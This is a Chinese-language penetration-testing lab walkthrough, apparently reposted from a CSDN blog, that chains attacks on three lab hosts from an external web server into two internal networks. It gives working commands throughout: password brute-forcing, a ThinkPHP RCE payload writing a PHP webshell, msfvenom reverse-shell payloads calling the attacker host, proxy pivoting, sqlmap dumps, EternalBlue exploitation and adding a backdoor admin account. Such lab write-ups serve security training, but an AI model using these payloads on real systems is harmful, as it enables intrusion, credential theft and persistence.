渗透测试实战 - 外网渗透内网穿透(超详细)

实验环境

做到一半环境崩了,IP地址以下面为准

Target1 - Centos7 (web服务)

此主机的IP地址:
192.168.41.136 (模拟公网IP能与物理机通讯)
192.168.22.132

Target2 - Ubuntu (内网web服务)

此主机的IP地址:
192.168.22.133
192.168.33.130

Target3 - Windows7 (客户端)

此主机的IP地址:
192.168.33.33

实验目的

拿下三台主机权限

实验步骤

测试Target1

信息收集

使用dirsearch扫描192.168.41.136的网站目录,发现 http://192.168.41.136/index.php 是Thinkphp框架

nmap扫描端口

22/21端口 弱口令爆破(MSF,hydra)

use auxiliary/scanner/ssh/ssh_login
set RHOSTS 192.168.41.136
set USER_FILE /root/Desktop/tools/dic_username_ssh.txt
set PASS_FILE /root/Desktop/tools/pwd100.txt
 hydra -L /home/kali/Desktop/sshfuzz/user.txt -P /home/kali/Desktop/sshfuzz/pass.txt 192.168.41.136 ssh -f

 hydra -L /home/kali/Desktop/sshfuzz/user.txt -P /home/kali/Desktop/sshfuzz/pass.txt 192.168.41.136 ftp -f

3306端口

不允许远程IP登录

8888端口

宝塔界面未知账号密码无法利用

80端口

Thinkphp v5.0 存在远程命令执行漏洞,通过命令执行写入一句话,可 GetShell

php一句话木马 poc

/index.php?
s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put
_contents&vars[1][]=admin123.php&vars[1][]=<?php @eval($_POST[123]);?>

使用蚁剑链接成功

web服务器成功拿下 (192.168.41.136)

主机信息收集

ifconfig 发现存在22网段

上传脚本到 /tmp目录 ,扫描22网段 ping.sh

#!/bin/bash
for num in {
    
    1..254};
  do
    ip=192.168.22.$num
    ping -c1 $ip >/dev/null 2>&1
    if [ $? = 0 ];
    then
      echo "$ip" ok
    else
      echo "$ip" fail
    fi
  done

赋予ping.sh 权限,并执行

chmod 777 ping.sh

./ping.sh > ping.txt

但执行不了,不知道是不是环境问题,换另一个方法上传一个fscan内网扫描工具

使用bash反弹shell的方法,反弹到攻击机

赋予fscan 权限并执行,发现存活主机 192.168.22.133/132 以及端口开放情况发现192.168.22.133是一个CMS

./fscan_amd64 -h 192.168.22.0/24

反弹shell到msf

反弹 Target1 的 Shell 到 MSF

msfvenom生成payload

msfvenom -p linux/x64/meterpreter_reverse_tcp lhost=192.168.41.130 lport=6666 -f elf -o msf.elf

上传到 Target1 的 /tmp 目录下执行

# 赋予执行权限
chmod 777 msf.elf
# 执行程序
./msf.elf

meterpreter > run get_local_subnets 获取网段信息

建立Socks代理

获得 Target1 的 meterpreter shell 后,添加到 192.168.22.0/24 网段的路由

run autoroute -s 192.168.22.0/24
run autoroute -p

使用 MSF 的 socks5 模块启动 socks 代理服务

msf6 > use auxiliary/server/socks_proxy
msf6 auxiliary(server/socks_proxy) > run

配置 proxychains 代理工具

vim /etc/proxychains4.conf
socks5 127.0.0.1 1080

也可以使用 stowaway 代理

1、攻击机启动admin监听

./admin -l 4444 -s hack

2、Target1启动agent

./agent -c 192.168.41.130:4444 -s hack

3、开启socks代理

进入Target1的node节点,使用socks命令开启socks代理

use 0
socks 1080

4、编辑 proxychains4.conf 文件

vim /etc/proxychains4.conf

5、测试socks代理,使用proxychains工具

测试Target2

信息收集

22网段进行内网扫描,

proxychains nmap -sT -Pn -p- -n -T4 192.168.22.133

21/22端口

弱口令爆破 爆破不成功

proxychains hydra -vV -l root -P /usr/share/wordlists/metasploit/password.lst 
192.168.22.22 ftp
proxychains hydra -vV -l root -P /usr/share/wordlists/metasploit/password.lst 
192.168.22.22 ssh
proxychains hydra -vV -l root -P /usr/share/wordlists/metasploit/password.lst 
192.168.22.22 mysql

8888端口

宝塔页面无法利用

80端口

上面信息收集发现80端口是个Bagecms的框架,寻找历史漏洞挨个测试发现存在SQL注入漏洞,使用查找到的POC ,使用sqlmap工具进行测试

通过连接代理服务器,可使本地物理机访问内网的web页面,也可以明显看出是bagecms

proxychains sqlmap -u 'http://192.168.22.133/index.php?r=vul&keyword=1' -p keyword

爆数据库

proxychains sqlmap -u 'http://192.168.22.133/index.php?r=vul&keyword=1' -p keyword --dbs

爆bagecms的表名

proxychains sqlmap -u 'http://192.168.22.133/index.php?r=vul&keyword=1' -p keyword -D bagecms --tables

爆bage_admin 的列的数据

proxychains sqlmap -u 'http://192.168.22.133/index.php?r=vul&keyword=1' -p keyword -D bagecms -T bage_admin --dump

得到后台登录账号密码为:admin/123qwe

使用Proxifier工具设置本地物理机全局代理,使得使用御剑目录扫描工具扫描内网web服务

通过御剑目录扫描在,访问 /robots.txt 目录发现了目录泄露,访问得到了管理后台的地址

登录进后台 -> 模板 -> 在 site文件夹 index.php 文件后面添加一句话马 -> 用 蚁剑 配置 socks 代理连接webshell

成功连接 上线target2目标机器

并且为root用户(拿下192.168.22.133 服务器权限)

主机信息收集

ifconfig

发现存在192.168.33.0/24的内网网段。

使用stowaway二层socks代理

1、在node中开启监听

进入node 0节点,执行listen,设置监听端口,开启监听模式

use 0
listen
1
7070

在 Target1 上可以看到 agent 监听了 7070 端口

2、Target2连接监听端口

在 Target2 中连接 Target1 监听的 7070 端口

./agent -c 192.168.22.130:7070 -s hack

3、开启Socks代理

admin 接收到新的 node 1 , 进入 node 1 节点开启 socks 代理

4、修改proxychains4.conf 文件 测试代理

vim /etc/proxychains4.conf  

创建ping.sh脚本进行内网存活探测 发现192.168.33.33主机存活

#!/bin/bash
for num in {
    
    1..254};
  do
    ip=192.168.22.$num
    ping -c1 $ip >/dev/null 2>&1
    if [ $? = 0 ];
    then
      echo "$ip" ok
    else
      echo "$ip" fail
    fi
  done

测试Target3

信息收集

proxychains3 nmap -sT -Pn -p- -n -T4 192.168.33.33

使用内网扫描工具fscan,进行三网段扫描发现 192.168.33.33为Windows 7 系统,并且存在MS17-010漏洞

分析利用

知道了存在MS17-010漏洞,而且这个漏洞永恒之蓝是通过 TCP 的445和139端口,来利用 SMBv1 和 NBT 中的远程代码执行漏洞,通过恶意代码扫描并攻击开放445文件共享端口的 Windows 主机

打开攻击机的MSF,反弹Target1\2的shell,生成linux系统的木马payload

msfvenom -p linux/x64/meterpreter/bind_tcp lport=5554 -f elf > target1.elf
msfvenom -p linux/x64/meterpreter/bind_tcp lport=5555 -f elf > target2.elf

通过蚁剑上传到服务器目录并执行,得到target1和target2的session,并配置路由

使用MSF的针对MS17-010的扫描模块进行漏洞检测,发现确实存在MS17-010漏洞

利用MS17-010模块进行漏洞攻击

use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.33.33
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload 
windows/x64/meterpreter/bind_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit

use exploit/windows/smb/ms17_010_psexec
msf6 exploit(windows/smb/ms17_010_psexec) > set RHOSTS 192.168.33.33
msf6 exploit(windows/smb/ms17_010_psexec) > set payload 
windows/x64/meterpreter/bind_tcp
msf6 exploit(windows/smb/ms17_010_psexec) > set LPORT 4444
msf6 exploit(windows/smb/ms17_010_psexec) > exploit

拿到了target3的session,并且为system权限(192.168.33.33)

利用上面的信息收集发现此主机开放了3389远程端口,那么我们可以直接使用物理机进行远程桌面连接

3389端口

# 添加管理员用户
net user test test123 /add
net localgroup administrators test /add
# 查看管理员用户
net localgroup administrators

添加完管理用户,使用proxifier软件设置代理

使用Windows自带的远程软件进行远程连接

如果有用户正在登录则等30秒自动踢下线

拿下主机,并且只有一个网段,渗透完成!!!!

猜你喜欢

转载自blog.csdn.net/weixin_44971640/article/details/129096084